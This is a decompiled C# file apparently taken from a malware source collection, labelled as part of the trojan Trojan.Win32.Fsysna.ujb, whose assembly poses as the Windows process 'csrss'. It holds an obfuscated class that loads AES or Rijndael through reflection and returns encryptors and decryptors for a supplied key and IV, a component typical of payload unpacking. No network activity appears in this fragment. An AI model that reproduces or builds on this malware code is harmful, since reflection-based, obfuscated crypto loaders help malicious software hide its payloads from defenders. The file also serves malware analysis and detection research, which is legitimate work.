MalwareSourceCode/MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.ujb-dca840b3862ed520a86af06748a84aa60d663bef2c7875759235eb95d0228c91/_0003/_0001.cs

// Decompiled with JetBrains decompiler
// Type: .

// Assembly: csrss, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 57F4D4CE-643E-4C92-9C47-86B837B59593
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Fsysna.ujb-dca840b3862ed520a86af06748a84aa60d663bef2c7875759235eb95d0228c91.exe

using System;
using System.IO;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Security.Cryptography;

namespace \u0003
{
  internal sealed class \u0001
  {
    private readonly Type \u0001;
    private readonly object \u0001;

    public \u0001()
    {
      try
      {
        this.\u0001 = Assembly.Load("System.Core, Version=2.0.5.0, Culture=neutral, PublicKeyToken=7cec85d7bea7798e").GetType("System.Security.Cryptography.AesManaged");
      }
      catch (FileNotFoundException ex)
      {
        this.\u0001 = Assembly.Load("mscorlib").GetType("System.Security.Cryptography.RijndaelManaged");
      }
      this.\u0001 = Activator.CreateInstance(this.\u0001);
    }

    public ICryptoTransform \u0002([In] byte[] obj0, [In] byte[] obj1, [In] bool obj2)
    {
      this.\u0001.GetProperty("Key").GetSetMethod().Invoke(this.\u0001, new object[1]
      {
        (object) obj0
      });
      this.\u0001.GetProperty("IV").GetSetMethod().Invoke(this.\u0001, new object[1]
      {
        (object) obj1
      });
      return (ICryptoTransform) this.\u0001.GetMethod(obj2 ? "CreateDecryptor" : "CreateEncryptor", new Type[0]).Invoke(this.\u0001, new object[0]);
    }

    public void \u0002() => this.\u0001.GetMethod("Clear").Invoke(this.\u0001, new object[0]);
  }
}